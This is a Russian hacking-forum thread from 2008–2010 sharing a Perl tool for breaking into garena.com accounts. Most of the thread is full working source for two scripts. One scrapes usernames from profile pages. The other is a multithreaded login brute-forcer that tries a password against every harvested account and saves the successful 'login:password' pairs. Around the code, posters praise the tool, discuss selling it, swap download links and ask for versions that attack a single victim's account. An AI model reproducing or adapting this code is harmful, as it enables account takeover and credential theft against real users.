Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Брутфорс garena.com [Perl] (https://forum.antichat.xyz/showthread.php?t=92423)

Kaimi 18.11.2008 21:27
Брутфорс garena.com [Perl]
 
Набрел в разделе продажа на подобную хрень, решил написать свой вариант.
В комплекте 2 скрипта:
parse.pl - парсер для создания списка логинов
brute.pl - брутфорс по списку логинов

+ в архиве ~76000 напарсенных логинов.

Парсер
http://www.speedyshare.com/872553380.html
Брутфорс
http://kaimi.ru/wp-content/uploads/2009/01/run.rar

Mapkyc_ 26.11.2008 22:58
Отличный брутфорс, все работает. Но былобы лудше еслибы к логину пассы брутило а не наоборот.

_Kris_ 26.11.2008 23:14
Цитата:
Сообщение от Mapkyc_
Отличный брутфорс, все работает. Но былобы лудше еслибы к логину пассы брутило а не наоборот.
ну а поправить скрипт видимо пиздец как сложно...

Don1=2 26.11.2008 23:17
молодец, скока плюсов заработал?
ты вывел их в реал ? xD

Mapkyc_ 26.11.2008 23:17
для меня сложно, я в них вопще мало что шарю...

Kaimi 27.11.2008 00:58
Цитата:
молодец, скока плюсов заработал?
ты вывел их в реал ? xD
А их надо в реал выводить ещё оказывается?

Don1=2 27.11.2008 02:24
мог бы и продавать...

sa~ 27.11.2008 03:10
Цитата:
Сообщение от Don1=2
мог бы и продавать...
Мыло бы муторно было достать...

X-Venom 27.11.2008 16:41
брут отличный а продавать не к чему его потомуш спрос маленький

Don1=2 27.11.2008 18:31
это пока спрос маленький ;) скоро вы увидите что будет с этой гареной... скоро все начнется.

sa~ 27.11.2008 18:44
Это в России маленький спрос... В Европе ггарена очень популярна

REDI. 27.11.2008 22:30
"Архив повреждён или имеет неизвестный формат" С чего бы это

SNAIPER ShoT 02.12.2008 10:13
^ скачай заново

REDI. 08.12.2008 17:59
подправте скрипт кто может чтоб пассы брутило к логину, и выложите плз

REDI. 26.01.2009 21:01
брут своё отжил. На сколько я понял по объяснениям изменились хост и адрес авторизации ._.

Kaimi 26.01.2009 21:35
Вот актуальный вариант http://kaimi.ru/?attachment_id=83

plas 27.01.2009 11:02
2kaimi по ссылке нот фаунд

Vlad3d 27.01.2009 11:31
перезалейте кто скачал

waik 27.01.2009 11:35
перезалей пожалуйста.Желательно не на рапиду

Nelzone 27.01.2009 13:15
http://rapidshare.com/files/190062919/garena.rar.html

waik 27.01.2009 13:17
Цитата:
Сообщение от Nelzone
http://rapidshare.com/files/190062919/garena.rar.html
я написил в посту выше!!

Kaimi 27.01.2009 14:51
http://kaimi.ru/wp-content/uploads/2009/01/run.rar

waik 27.01.2009 15:03
Цитата:
Сообщение от Kaimi
http://kaimi.ru/wp-content/uploads/2009/01/run.rar
ето я скачал а там парсера нету только брут

waik 27.01.2009 15:44
всё скачал спсибо .Тс молодец уважуха ему!!

shocker 28.01.2009 13:38
брут действительно работает, автор спасибо !

Madidus 13.02.2009 23:23
Афтор обнови плз...

eLWAux 13.02.2009 23:55
кто просил обновить:

парсер (perl):
PHP код:
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

my $dig : shared = shift || 9423791 ; #ID начала парсинга (парсинг по убыванию)
$threads =  shift || 10                ; #Кол-во потоков
$fname   = 'accs.txt'               ; #Куда сохранять


$time      = time; 
printf "Started at ".localtime()."\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
    while($dig)
    {    
        my $re ='';
        {lock($dig); 
        $re = "GET http://www.garena.com/forum/viewpro.php?uid=".$dig." HTTP/1.1\nHost: www.garena.com\n\n"; $dig--;}
        my $sock = sock();
        print $sock $re; 
        
        read($sock,my $answ,10000);
        if($answ =~ /<div class="header" style="text-align:left">(.*?)\'s/) {
            print $dig."::".$1."\n";
            open(FILE, ">>$fname") || die("Could not open $fname\n");
            flock(FILE, LOCK_EX);
            print FILE "$1\n";
            flock(FILE, LOCK_UN);
            close(FILE);
        }
        close($sock);
    }            
}

sub sock {
my $sock;
do {
    $sock = new IO::Socket::INET 
        (
        PeerAddr => 'garena.com',
           PeerPort => 80, 
           PeerProto => 'tcp', 
           TimeOut => 10
        ) or print "Can't connect\n";
    } while (!$sock);
return $sock;
}

$time = time-$time;
printf "Finished at ".localtime()."\n";
printf "Time elapsed: $time sec\n";
#(c)Kaimi 

eLWAux 13.02.2009 23:56
брутер(perl):

PHP код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd     =  shift || '123456'        ; # Пароль
$threads =  shift || 5                ; #Кол-во потоков
$ml      =  shift || 'accs.txt'        ; #Список акков
$fname   = 'good.txt'                  ; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print  "Loaded: ".$size." accs.\n";


for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
    while(@acc)
    {    
        {lock(@acc);$acc = shift @acc;}
        my $sock = sock();
        
        my $data =
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"username\"\n\n".
        "$acc\n".
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"password\"\n\n".
        "$pwd\n".
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"loginSubmit\"\n\n".
        "Submit\n".
        "-----------------------------18847261322183--\n\n";
        
        my $re = 
        "POST http://www.garena.com/payment/index.php?c=VXNlcg==&a=bG9naW4= HTTP/1.1\n".
        "Host: www.garena.com\n".
        "User-Agent: Mozilla/4.0\n".
        "Connection: close\n".
        "Referer: http://garena.com\n".
        "Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
        "Content-Length: ".length($data)."\n\n".$data;
    
        print $sock $re; 
        read($sock,my $answ,10000);
        
        if($answ =~ /cdb_auth/)
            {
                print "[+] $acc\n";
                open(FILE, ">>$fname") || die("Could not open $fname\n");
                flock(FILE, LOCK_EX);
                print FILE "$acc:$pwd\n";
                flock(FILE, LOCK_UN);
                close(FILE);
            }
        {lock($i);$i++;}
        print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
        close($sock);
    }
}

sub sock {
my $sock;
do {
    $sock = new IO::Socket::INET 
        (
        PeerAddr => 'garena.com',
           PeerPort => 80, 
           PeerProto => 'tcp', 
           TimeOut => 10
        ) or print "Can't connect\n";
    } while (!$sock);
return $sock;
}
#(c)Kaimi 

Larro 06.03.2009 00:58
Выложите плиз у кого есть рабочий брут чтобы пороли брутило к одному логину, просто ник который я хочу себе сделать уже занят а с различными скобками и точками не хотелось бы делать :) (список паролей у меня уже есть, не хватает только брута). help :)

Nitrogeniys 10.03.2009 03:21
И в правду

REDI. 28.04.2009 17:55
Выложите рабочий вариант

Tombik 01.05.2009 23:50
парсер, вроде, не актуален.

Тигр 11.05.2009 00:29
Цитата:
Сообщение от Tombik
парсер, вроде, не актуален.
Парсер как раз работает, а вот брут...

qompas 31.05.2009 18:01
здраствуте :O немогли бы обновить брут плз !!!!
еще помогите постояно вылазит ошибка conection error unknow p

Bel_kin 08.09.2009 22:58
работает все, жаль нету знаний дописать пару паролей чет пробовало.

GenaD 06.01.2010 02:50
снова изменили хост и авторизацию поэтому скрипт нужно переделывать... сам бы рад поюзать но знаний нету переделать....

ReDLI 07.02.2010 19:29
Сделйте плз брут чтобы брутил пароли к одному акку ) заранее спасибо буду очень благодарен ) сам бы сделал , тока вот знаний нету (

Triton_IT 14.02.2010 12:21
Цитата:
Сообщение от ReDLI
Сделйте плз брут чтобы брутил пароли к одному акку ) заранее спасибо буду очень благодарен ) сам бы сделал , тока вот знаний нету (
да, мне тоже нужен брут, что бы пароли к 1-му акку брутить. Один нашёл а он сцук не работает =\

ZloY.Finn 16.03.2010 19:49
http://forum.xakep.ru/m_1742968/mpage_1/key_/tm.htm#1742968

ReDLI 25.03.2010 19:20
Выложите пожалуйста рабочий брут... )


Время: 18:28